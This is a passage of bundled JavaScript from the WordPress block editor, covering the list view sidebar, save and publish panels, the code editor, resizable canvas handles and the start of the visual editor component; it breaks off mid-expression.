  // When closing the list view, focus should return to the toggle button.
  const closeListView = (0,external_wp_element_namespaceObject.useCallback)(() => {
    setIsListViewOpened(false);
    getListViewToggleRef().current?.focus();
  }, [getListViewToggleRef, setIsListViewOpened]);
  const closeOnEscape = (0,external_wp_element_namespaceObject.useCallback)(event => {
    if (event.keyCode === external_wp_keycodes_namespaceObject.ESCAPE && !event.defaultPrevented) {
      event.preventDefault();
      closeListView();
    }
  }, [closeListView]);

  // Use internal state instead of a ref to make sure that the component
  // re-renders when the dropZoneElement updates.
  const [dropZoneElement, setDropZoneElement] = (0,external_wp_element_namespaceObject.useState)(null);
  // Tracks our current tab.
  const [tab, setTab] = (0,external_wp_element_namespaceObject.useState)('list-view');

  // This ref refers to the sidebar as a whole.
  const sidebarRef = (0,external_wp_element_namespaceObject.useRef)();
  // This ref refers to the tab panel.
  const tabsRef = (0,external_wp_element_namespaceObject.useRef)();
  // This ref refers to the list view application area.
  const listViewRef = (0,external_wp_element_namespaceObject.useRef)();

  // Must merge the refs together so focus can be handled properly in the next function.
  const listViewContainerRef = (0,external_wp_compose_namespaceObject.useMergeRefs)([focusOnMountRef, listViewRef, setDropZoneElement]);

  /*
   * Callback function to handle list view or outline focus.
   *
   * @param {string} currentTab The current tab. Either list view or outline.
   *
   * @return void
   */
  function handleSidebarFocus(currentTab) {
    // Tab panel focus.
    const tabPanelFocus = external_wp_dom_namespaceObject.focus.tabbable.find(tabsRef.current)[0];
    // List view tab is selected.
    if (currentTab === 'list-view') {
      // Either focus the list view or the tab panel. Must have a fallback because the list view does not render when there are no blocks.
      const listViewApplicationFocus = external_wp_dom_namespaceObject.focus.tabbable.find(listViewRef.current)[0];
      const listViewFocusArea = sidebarRef.current.contains(listViewApplicationFocus) ? listViewApplicationFocus : tabPanelFocus;
      listViewFocusArea.focus();
      // Outline tab is selected.
    } else {
      tabPanelFocus.focus();
    }
  }
  const handleToggleListViewShortcut = (0,external_wp_element_namespaceObject.useCallback)(() => {
    // If the sidebar has focus, it is safe to close.
    if (sidebarRef.current.contains(sidebarRef.current.ownerDocument.activeElement)) {
      closeListView();
    } else {
      // If the list view or outline does not have focus, focus should be moved to it.
      handleSidebarFocus(tab);
    }
  }, [closeListView, tab]);

  // This only fires when the sidebar is open because of the conditional rendering.
  // It is the same shortcut to open but that is defined as a global shortcut and only fires when the sidebar is closed.
  (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/editor/toggle-list-view', handleToggleListViewShortcut);
  return (
    /*#__PURE__*/
    // eslint-disable-next-line jsx-a11y/no-static-element-interactions
    (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "editor-list-view-sidebar",
      onKeyDown: closeOnEscape,
      ref: sidebarRef,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TabbedSidebar, {
        tabs: [{
          name: 'list-view',
          title: (0,external_wp_i18n_namespaceObject._x)('List View', 'Post overview'),
          panel: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
            className: "editor-list-view-sidebar__list-view-container",
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
              className: "editor-list-view-sidebar__list-view-panel-content",
              children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalListView, {
                dropZoneElement: dropZoneElement
              })
            })
          }),
          panelRef: listViewContainerRef
        }, {
          name: 'outline',
          title: (0,external_wp_i18n_namespaceObject._x)('Outline', 'Post overview'),
          panel: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
            className: "editor-list-view-sidebar__list-view-container",
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ListViewOutline, {})
          })
        }],
        onClose: closeListView,
        onSelect: tabName => setTab(tabName),
        defaultTabId: "list-view",
        ref: tabsRef,
        closeButtonLabel: (0,external_wp_i18n_namespaceObject.__)('Close')
      })
    })
  );
}

;// ./node_modules/@wordpress/editor/build-module/components/save-publish-panels/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */






const {
  Fill: save_publish_panels_Fill,
  Slot: save_publish_panels_Slot
} = (0,external_wp_components_namespaceObject.createSlotFill)('ActionsPanel');
const ActionsPanelFill = (/* unused pure expression or super */ null && (save_publish_panels_Fill));
function SavePublishPanels({
  setEntitiesSavedStatesCallback,
  closeEntitiesSavedStates,
  isEntitiesSavedStatesOpen,
  forceIsDirtyPublishPanel
}) {
  const {
    closePublishSidebar,
    togglePublishSidebar
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    publishSidebarOpened,
    isPublishable,
    isDirty,
    hasOtherEntitiesChanges
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      isPublishSidebarOpened,
      isEditedPostPublishable,
      isCurrentPostPublished,
      isEditedPostDirty,
      hasNonPostEntityChanges
    } = select(store_store);
    const _hasOtherEntitiesChanges = hasNonPostEntityChanges();
    return {
      publishSidebarOpened: isPublishSidebarOpened(),
      isPublishable: !isCurrentPostPublished() && isEditedPostPublishable(),
      isDirty: _hasOtherEntitiesChanges || isEditedPostDirty(),
      hasOtherEntitiesChanges: _hasOtherEntitiesChanges
    };
  }, []);
  const openEntitiesSavedStates = (0,external_wp_element_namespaceObject.useCallback)(() => setEntitiesSavedStatesCallback(true), []);

  // It is ok for these components to be unmounted when not in visual use.
  // We don't want more than one present at a time, decide which to render.
  let unmountableContent;
  if (publishSidebarOpened) {
    unmountableContent = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_publish_panel, {
      onClose: closePublishSidebar,
      forceIsDirty: forceIsDirtyPublishPanel,
      PrePublishExtension: plugin_pre_publish_panel.Slot,
      PostPublishExtension: plugin_post_publish_panel.Slot
    });
  } else if (isPublishable && !hasOtherEntitiesChanges) {
    unmountableContent = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "editor-layout__toggle-publish-panel",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        __next40pxDefaultSize: true,
        variant: "secondary",
        onClick: togglePublishSidebar,
        "aria-expanded": false,
        children: (0,external_wp_i18n_namespaceObject.__)('Open publish panel')
      })
    });
  } else {
    unmountableContent = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "editor-layout__toggle-entities-saved-states-panel",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        __next40pxDefaultSize: true,
        variant: "secondary",
        onClick: openEntitiesSavedStates,
        "aria-expanded": false,
        "aria-haspopup": "dialog",
        disabled: !isDirty,
        accessibleWhenDisabled: true,
        children: (0,external_wp_i18n_namespaceObject.__)('Open save panel')
      })
    });
  }

  // Since EntitiesSavedStates controls its own panel, we can keep it
  // always mounted to retain its own component state (such as checkboxes).
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [isEntitiesSavedStatesOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EntitiesSavedStates, {
      close: closeEntitiesSavedStates,
      renderDialog: true
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(save_publish_panels_Slot, {
      bubblesVirtually: true
    }), !isEntitiesSavedStatesOpen && unmountableContent]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/text-editor/index.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */




function TextEditor({
  autoFocus = false
}) {
  const {
    switchEditorMode
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    shortcut,
    isRichEditingEnabled
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditorSettings
    } = select(store_store);
    const {
      getShortcutRepresentation
    } = select(external_wp_keyboardShortcuts_namespaceObject.store);
    return {
      shortcut: getShortcutRepresentation('core/editor/toggle-mode'),
      isRichEditingEnabled: getEditorSettings().richEditingEnabled
    };
  }, []);
  const titleRef = (0,external_wp_element_namespaceObject.useRef)();
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (autoFocus) {
      return;
    }
    titleRef?.current?.focus();
  }, [autoFocus]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: "editor-text-editor",
    children: [isRichEditingEnabled && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      className: "editor-text-editor__toolbar",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", {
        children: (0,external_wp_i18n_namespaceObject.__)('Editing code')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        __next40pxDefaultSize: true,
        variant: "tertiary",
        onClick: () => switchEditorMode('visual'),
        shortcut: shortcut,
        children: (0,external_wp_i18n_namespaceObject.__)('Exit code editor')
      })]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      className: "editor-text-editor__body",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_title_raw, {
        ref: titleRef
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostTextEditor, {})]
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/visual-editor/edit-template-blocks-notification.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */


/**
 * Component that:
 *
 * - Displays a 'Edit your template to edit this block' notification when the
 *   user is focusing on editing page content and clicks on a disabled template
 *   block.
 * - Displays a 'Edit your template to edit this block' dialog when the user
 *   is focusing on editing page content and double clicks on a disabled
 *   template block.
 *
 * @param {Object}                                 props
 * @param {import('react').RefObject<HTMLElement>} props.contentRef Ref to the block
 *                                                                  editor iframe canvas.
 */

function EditTemplateBlocksNotification({
  contentRef
}) {
  const {
    onNavigateToEntityRecord,
    templateId
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditorSettings,
      getCurrentTemplateId
    } = select(store_store);
    return {
      onNavigateToEntityRecord: getEditorSettings().onNavigateToEntityRecord,
      templateId: getCurrentTemplateId()
    };
  }, []);
  const canEditTemplate = (0,external_wp_data_namespaceObject.useSelect)(select => !!select(external_wp_coreData_namespaceObject.store).canUser('create', {
    kind: 'postType',
    name: 'wp_template'
  }), []);
  const [isDialogOpen, setIsDialogOpen] = (0,external_wp_element_namespaceObject.useState)(false);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    const handleDblClick = event => {
      if (!canEditTemplate) {
        return;
      }
      if (!event.target.classList.contains('is-root-container') || event.target.dataset?.type === 'core/template-part') {
        return;
      }
      if (!event.defaultPrevented) {
        event.preventDefault();
        setIsDialogOpen(true);
      }
    };
    const canvas = contentRef.current;
    canvas?.addEventListener('dblclick', handleDblClick);
    return () => {
      canvas?.removeEventListener('dblclick', handleDblClick);
    };
  }, [contentRef, canEditTemplate]);
  if (!canEditTemplate) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
    isOpen: isDialogOpen,
    confirmButtonText: (0,external_wp_i18n_namespaceObject.__)('Edit template'),
    onConfirm: () => {
      setIsDialogOpen(false);
      onNavigateToEntityRecord({
        postId: templateId,
        postType: 'wp_template'
      });
    },
    onCancel: () => setIsDialogOpen(false),
    size: "medium",
    children: (0,external_wp_i18n_namespaceObject.__)('You’ve tried to select a block that is part of a template that may be used elsewhere on your site. Would you like to edit the template?')
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/resizable-editor/resize-handle.js
/**
 * WordPress dependencies
 */




const DELTA_DISTANCE = 20; // The distance to resize per keydown in pixels.

function ResizeHandle({
  direction,
  resizeWidthBy
}) {
  function handleKeyDown(event) {
    const {
      keyCode
    } = event;
    if (keyCode !== external_wp_keycodes_namespaceObject.LEFT && keyCode !== external_wp_keycodes_namespaceObject.RIGHT) {
      return;
    }
    event.preventDefault();
    if (direction === 'left' && keyCode === external_wp_keycodes_namespaceObject.LEFT || direction === 'right' && keyCode === external_wp_keycodes_namespaceObject.RIGHT) {
      resizeWidthBy(DELTA_DISTANCE);
    } else if (direction === 'left' && keyCode === external_wp_keycodes_namespaceObject.RIGHT || direction === 'right' && keyCode === external_wp_keycodes_namespaceObject.LEFT) {
      resizeWidthBy(-DELTA_DISTANCE);
    }
  }
  const resizeHandleVariants = {
    active: {
      opacity: 1,
      scaleY: 1.3
    }
  };
  const resizableHandleHelpId = `resizable-editor__resize-help-${direction}`;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, {
      text: (0,external_wp_i18n_namespaceObject.__)('Drag to resize'),
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.button, {
        className: `editor-resizable-editor__resize-handle is-${direction}`,
        "aria-label": (0,external_wp_i18n_namespaceObject.__)('Drag to resize'),
        "aria-describedby": resizableHandleHelpId,
        onKeyDown: handleKeyDown,
        variants: resizeHandleVariants,
        whileFocus: "active",
        whileHover: "active",
        whileTap: "active",
        role: "separator",
        "aria-orientation": "vertical"
      }, "handle")
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
      id: resizableHandleHelpId,
      children: (0,external_wp_i18n_namespaceObject.__)('Use left and right arrow keys to resize the canvas.')
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/resizable-editor/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


// Removes the inline styles in the drag handles.

const HANDLE_STYLES_OVERRIDE = {
  position: undefined,
  userSelect: undefined,
  cursor: undefined,
  width: undefined,
  height: undefined,
  top: undefined,
  right: undefined,
  bottom: undefined,
  left: undefined
};
function ResizableEditor({
  className,
  enableResizing,
  height,
  children
}) {
  const [width, setWidth] = (0,external_wp_element_namespaceObject.useState)('100%');
  const resizableRef = (0,external_wp_element_namespaceObject.useRef)();
  const resizeWidthBy = (0,external_wp_element_namespaceObject.useCallback)(deltaPixels => {
    if (resizableRef.current) {
      setWidth(resizableRef.current.offsetWidth + deltaPixels);
    }
  }, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ResizableBox, {
    className: dist_clsx('editor-resizable-editor', className, {
      'is-resizable': enableResizing
    }),
    ref: api => {
      resizableRef.current = api?.resizable;
    },
    size: {
      width: enableResizing ? width : '100%',
      height: enableResizing && height ? height : '100%'
    },
    onResizeStop: (event, direction, element) => {
      setWidth(element.style.width);
    },
    minWidth: 300,
    maxWidth: "100%",
    maxHeight: "100%",
    enable: {
      left: enableResizing,
      right: enableResizing
    },
    showHandle: enableResizing
    // The editor is centered horizontally, resizing it only
    // moves half the distance. Hence double the ratio to correctly
    // align the cursor to the resizer handle.
    ,
    resizeRatio: 2,
    handleComponent: {
      left: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ResizeHandle, {
        direction: "left",
        resizeWidthBy: resizeWidthBy
      }),
      right: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ResizeHandle, {
        direction: "right",
        resizeWidthBy: resizeWidthBy
      })
    },
    handleClasses: undefined,
    handleStyles: {
      left: HANDLE_STYLES_OVERRIDE,
      right: HANDLE_STYLES_OVERRIDE
    },
    children: children
  });
}
/* harmony default export */ const resizable_editor = (ResizableEditor);

;// ./node_modules/@wordpress/editor/build-module/components/visual-editor/use-select-nearest-editable-block.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */

const DISTANCE_THRESHOLD = 500;
function clamp(value, min, max) {
  return Math.min(Math.max(value, min), max);
}
function distanceFromRect(x, y, rect) {
  const dx = x - clamp(x, rect.left, rect.right);
  const dy = y - clamp(y, rect.top, rect.bottom);
  return Math.sqrt(dx * dx + dy * dy);
}
function useSelectNearestEditableBlock({
  isEnabled = true
} = {}) {
  const {
    getEnabledClientIdsTree,
    getBlockName,
    getBlockOrder
  } = unlock((0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store));
  const {
    selectBlock
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
  return (0,external_wp_compose_namespaceObject.useRefEffect)(element => {
    if (!isEnabled) {
      return;
    }
    const selectNearestEditableBlock = (x, y) => {
      const editableBlockClientIds = getEnabledClientIdsTree().flatMap(({
        clientId
      }) => {
        const blockName = getBlockName(clientId);
        if (blockName === 'core/template-part') {
          return [];
        }
        if (blockName === 'core/post-content') {
          const innerBlocks = getBlockOrder(clientId);
          if (innerBlocks.length) {
            return innerBlocks;
          }
        }
        return [clientId];
      });
      let nearestDistance = Infinity,
        nearestClientId = null;
      for (const clientId of editableBlockClientIds) {
        const block = element.querySelector(`[data-block="${clientId}"]`);
        if (!block) {
          continue;
        }
        const rect = block.getBoundingClientRect();
        const distance = distanceFromRect(x, y, rect);
        if (distance < nearestDistance && distance < DISTANCE_THRESHOLD) {
          nearestDistance = distance;
          nearestClientId = clientId;
        }
      }
      if (nearestClientId) {
        selectBlock(nearestClientId);
      }
    };
    const handleClick = event => {
      const shouldSelect = event.target === element || event.target.classList.contains('is-root-container');
      if (shouldSelect) {
        selectNearestEditableBlock(event.clientX, event.clientY);
      }
    };
    element.addEventListener('click', handleClick);
    return () => element.removeEventListener('click', handleClick);
  }, [isEnabled]);
}

;// ./node_modules/@wordpress/editor/build-module/components/visual-editor/use-zoom-out-mode-exit.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


/**
 * Allows Zoom Out mode to be exited by double clicking in the selected block.
 */
function useZoomOutModeExit() {
  const {
    getSettings,
    isZoomOut
  } = unlock((0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store));
  const {
    resetZoomLevel
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store));
  return (0,external_wp_compose_namespaceObject.useRefEffect)(node => {
    function onDoubleClick(event) {
      if (!isZoomOut()) {
        return;
      }
      if (!event.defaultPrevented) {
        event.preventDefault();
        const {
          __experimentalSetIsInserterOpened
        } = getSettings();
        if (typeof __experimentalSetIsInserterOpened === 'function') {
          __experimentalSetIsInserterOpened(false);
        }
        resetZoomLevel();
      }
    }
    node.addEventListener('dblclick', onDoubleClick);
    return () => {
      node.removeEventListener('dblclick', onDoubleClick);
    };
  }, [getSettings, isZoomOut, resetZoomLevel]);
}

;// ./node_modules/@wordpress/editor/build-module/components/visual-editor/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */









const {
  LayoutStyle,
  useLayoutClasses,
  useLayoutStyles,
  ExperimentalBlockCanvas: BlockCanvas,
  useFlashEditableBlocks
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);

/**
 * These post types have a special editor where they don't allow you to fill the title
 * and they don't apply the layout styles.
 */
const visual_editor_DESIGN_POST_TYPES = [PATTERN_POST_TYPE, TEMPLATE_POST_TYPE, NAVIGATION_POST_TYPE, TEMPLATE_PART_POST_TYPE];

/**
 * Given an array of nested blocks, find the first Post Content
 * block inside it, recursing through any nesting levels,
 * and return its attributes.
 *
 * @param {Array} blocks A list of blocks.
 *
 * @return {Object | undefined} The Post Content block.
 */
function getPostContentAttributes(blocks) {
  for (let i = 0; i < blocks.length; i++) {
    if (blocks[i].name === 'core/post-content') {
      return blocks[i].attributes;
    }
    if (blocks[i].innerBlocks.length) {
      const nestedPostContent = getPostContentAttributes(blocks[i].innerBlocks);
      if (nestedPostContent) {
        return nestedPostContent;
      }
    }
  }
}
function checkForPostContentAtRootLevel(blocks) {
  for (let i = 0; i < blocks.length; i++) {
    if (blocks[i].name === 'core/post-content') {
      return true;
    }
  }
  return false;
}
function VisualEditor({
  // Ideally as we unify post and site editors, we won't need these props.
  autoFocus,
  styles,
  disableIframe = false,
  iframeProps,
  contentRef,
  className
}) {
  const [contentHeight, setContentHeight] = (0,external_wp_element_namespaceObject.useState)('');
  const effectContentHeight = (0,external_wp_compose_namespaceObject.useResizeObserver)(([entry]) => {
    setContentHeight(entry.borderBoxSize[0].blockSize);
  });
  const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('small', '<');
  const {
    renderingMode,
    postContentAttributes,
    editedPostTemplate = {},
    wrapperBlockName,
    wrapperUniqueId,
    deviceType,
    isFocusedEntity,
    isDesignPostType,
    postType,
    isPreview
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostId,
      getCurrentPostType,
      getCurrentTemplateId,
      getEditorSettings,
      getRenderingMode,
      getDeviceType
    } = select(store_store);
    const {
      getPostType,
      getEditedEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const postTypeSlug = getCurrentPostType();
    const _renderingMode = getRenderingMode();
    let _wrapperBlockName;
    if (postTypeSlug === PATTERN_POST_TYPE) {
      _wrapperBlockName = 'core/block';
    } else if (_renderingMode === 'post-only') {
      _wrapperBlockName = 'core/post-content';
    }
    const editorSettings = getEditorSettings();
    const supportsTemplateMode = editorSettings.supportsTemplateMode;
    const postTypeObject = getPostType(postTypeSlug);
    const currentTemplateId = getCurrentTemplateId();
    const template = currentTemplateId ? getEditedEntityRecord('postType', TEMPLATE_POST_TYPE, currentTemplateId) : undefined;
    return {
      renderingMode: _renderingMode,
      postContentAttributes: editorSettings.postContentAttributes,
      isDesignPostType: visual_editor_DESIGN_POST_TYPES.includes(postTypeSlug),
      // Post template fetch returns a 404 on classic themes, which
      // messes with e2e tests, so check it's a block theme first.
      editedPostTemplate: postTypeObject?.viewable && supportsTemplateMode ? template : undefined,
      wrapperBlockName: _wrapperBlockName,
      wrapperUniqueId: getCurrentPostId(),
      deviceType: getDeviceType(),
      isFocusedEntity: !!editorSettings.onNavigateToPreviousEntityRecord,
      postType: postTypeSlug,
      isPreview: editorSettings.isPreviewMode
    };
  }, []);
  const {
    isCleanNewPost
  } = (0,external_wp_data_namespaceObject.useSelect)(store_store);
  const {
    hasRootPaddingAwareAlignments,
    themeHasDisabledLayoutStyles,
    themeSupportsLayout,
    isZoomedOut
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getSettings,
      isZoomOut: _isZoomOut
    } = unlock(select(external_wp_blockEditor_namespaceObject.store));
    const _settings = getSettings();
    return {
      themeHasDisabledLayoutStyles: _settings.disableLayoutStyles,
      themeSupportsLayout: _settings.supportsLayout,
      hasRootPaddingAwareAlignments: _settings.__experimentalFeatures?.useRootPaddingAwareAlignments,
      isZoomedOut: _isZoomOut()
    };
  }, []);
  const deviceStyles = (0,external_wp_blockEditor_namespaceObject.__experimentalUseResizeCanvas)(deviceType);
  const [globalLayoutSettings] = (0,external_wp_blockEditor_namespaceObject.useSettings)('layout');

  // fallbackLayout is used if there is no Post Content,
  // and for Post Title.
  const fallbackLayout = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (renderingMode !== 'post-only' || isDesignPostType) {
      return {
        type: 'default'
      };
    }
    if (themeSupportsLayout) {
      // We need to ensure support for wide and full alignments,
      // so we add the constrained type.
      return {
        ...globalLayoutSettings,
        type: 'constrained'
      };
    }
    // Set default layout for classic themes so all alignments are supported.
    return {
      type: 'default'
    };
  }, [renderingMode, themeSupportsLayout, globalLayoutSettings, isDesignPostType]);
  const newestPostContentAttributes = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!editedPostTemplate?.content && !editedPostTemplate?.blocks && postContentAttributes) {
      return postContentAttributes;
    }
    // When in template editing mode, we can access the blocks directly.
    if (editedPostTemplate?.blocks) {
      return getPostContentAttributes(editedPostTemplate?.blocks);
    }
    // If there are no blocks, we have to parse the content string.
    // Best double-check it's a string otherwise the parse function gets unhappy.
    const parseableContent = typeof editedPostTemplate?.content === 'string' ? editedPostTemplate?.content : '';
    return getPostContentAttributes((0,external_wp_blocks_namespaceObject.parse)(parseableContent)) || {};
  }, [editedPostTemplate?.content, editedPostTemplate?.blocks, postContentAttributes]);
  const hasPostContentAtRootLevel = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!editedPostTemplate?.content && !editedPostTemplate?.blocks) {
      return false;
    }
    // When in template editing mode, we can access the blocks directly.
    if (editedPostTemplate?.blocks) {
      return checkForPostContentAtRootLevel(editedPostTemplate?.blocks);
    }
    // If there are no blocks, we have to parse the content string.
    // Best double-check it's a string otherwise the parse function gets unhappy.
    const parseableContent = typeof editedPostTemplate?.content === 'string' ? editedPostTemplate?.content : '';
    return checkForPostContentAtRootLevel((0,external_wp_blocks_namespaceObject.parse)(parseableContent)) || false;
  }, [editedPostTemplate?.content, editedPostTemplate?.blocks]);
  const {
    layout = {},
    align = ''
  } = newestPostContentAttributes || {};
  const postContentLayoutClasses = useLayoutClasses(newestPostContentAttributes, 'core/post-content');
  const blockListLayoutClass = dist_clsx({
    'is-layout-flow': !themeSupportsLayout
  }, themeSupportsLayout && postContentLayoutClasses, align && `align${align}`);
  const postContentLayoutStyles = useLayoutStyles(newestPostContentAttributes, 'core/post-content', '.block-editor-block-list__layout.is-root-container');

  // Update type for blocks using legacy layouts.
  const postContentLayout = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return layout && (layout?.type === 'constrained' || layout?.inherit || layout?.contentSize || layout?.wideSize) ? {
      ...globalLayoutSettings,
      ...layout,
      type: 'constrained'
    } : {
      ...globalLayoutSettings,
      ...layout,
      type: 'default'
    };
  }, [layout?.type, layout?.inherit, layout?.contentSize, layout?.wideSize, globalLayoutSettings]);

  // If there is a Post Content block we use its layout for the block list;
  // if not, this must be a classic theme, in which case we use the fallback layout.
  const blockListLayout = postContentAttributes ? postContentLayout : fallbackLayout;
  const postEditorLayout = blockListLayout?.type === 'default' && !hasPostContentAtRootLevel ? fallbackLayout : blockListLayout;
  const observeTypingRef = (0,external_wp_blockEditor_namespaceObject.__unstableUseTypingObserver)();
  const titleRef = (0,external_wp_element_namespaceObject.useRef)();
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (!autoFocus || !isCleanNewPost()) {
      return;
    }
    titleRef?.current?.focus();
  }, [autoFocus, isCleanNewPost]);

  // Add some styles for alignwide/alignfull Post Content and its children.
  const alignCSS = `.is-root-container.alignwide { max-width: var(--wp--style--global--wide-size); margin-left: auto; margin-right: auto;}
		.is-root-container.alignwide:where(.is-layout-flow) > :not(.alignleft):not(.alignright) { max-width: var(--wp--style--global--wide-size);}
		.is-root-container.alignfull { max-width: none; margin-left: auto; margin-right: auto;}
		.is-root-container.alignfull:where(.is-layout-flow) > :not(.alignleft):not(.alignright) { max-width: none;}`;
  const forceFullHeight = postType === NAVIGATION_POST_TYPE;
  const enableResizing = [NAVIGATION_POST_TYPE, TEMPLATE_PART_POST_TYPE, PATTERN_POST_TYPE].includes(postType) &&
  // Disable in previews / view mode.
  !isPreview &&
  // Disable resizing in mobile viewport.
  !isMobileViewport &&
  // Disable resizing in zoomed-out mode.
  !isZoomedOut;
  const iframeStyles = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return [...(styles !== null && styles !== void 0 ? styles : []), {
      // Ensures margins of children are contained so that the body background paints behind them.
      // Otherwise, the background of html (when zoomed out) would show there and appear broken. It’s
      // important mostly for post-only views yet conceivably an issue in templated views too.
      css: `:where(.block-editor-iframe__body){display:flow-root;}.is-root-container{display:flow-root;${
      // Some themes will have `min-height: 100vh` for the root container,
      // which isn't a requirement in auto resize mode.
      enableResizing ? 'min-height:0!important;' : ''}}`
    }];
  }, [styles, enableResizing]);
  const localRef = (0,external_wp_element_namespaceObject.useRef)();
  const typewriterRef = (0,external_wp_blockEditor_namespaceObject.__unstableUseTypewriter)();
  contentRef = (0,external_wp_compose_namespaceObject.useMergeRefs)([localRef, contentRef, renderingMode === 'post-only' ? typewriterRef : null, useFlashEditableBlocks({
    isEnabled: renderingMode === 'template-locked'
  }), useSelectNearestEditableBlock({
    isEnabled: renderingMode === 'template-locked'
  }), useZoomOutModeExit(),
  // Avoid resize listeners when not needed, these will trigger
  // unnecessary re-renders when animating the iframe width.
  enableResizing ? effectContentHeight : null]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: dist_clsx('editor-visual-editor',
    // this class is here for backward compatibility reasons.
    'edit-post-visual-editor', className, {
      'has-padding': isFocusedEntity || enableResizing,
      'is-resizable': enableResizing,
      'is-iframed': !disableIframe
    }),
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(resizable_editor, {
      enableResizing: enableResizing,
      height: contentHeight && !forceFullHeight ? contentHeight : '100%',
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(BlockCanvas, {
        shouldIframe: !disableIframe,
        contentRef: contentRef,
        styles: iframeStyles,
        height: "100%",
        iframeProps: {
          ...iframeProps,
          style: {
            ...iframeProps?.style,
            ...deviceStyles
          }
        },
        children: [themeSupportsLayout && !themeHasDisabledLayoutStyles && renderingMode === 'post-only' && !isDesignPostType && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(LayoutStyle, {
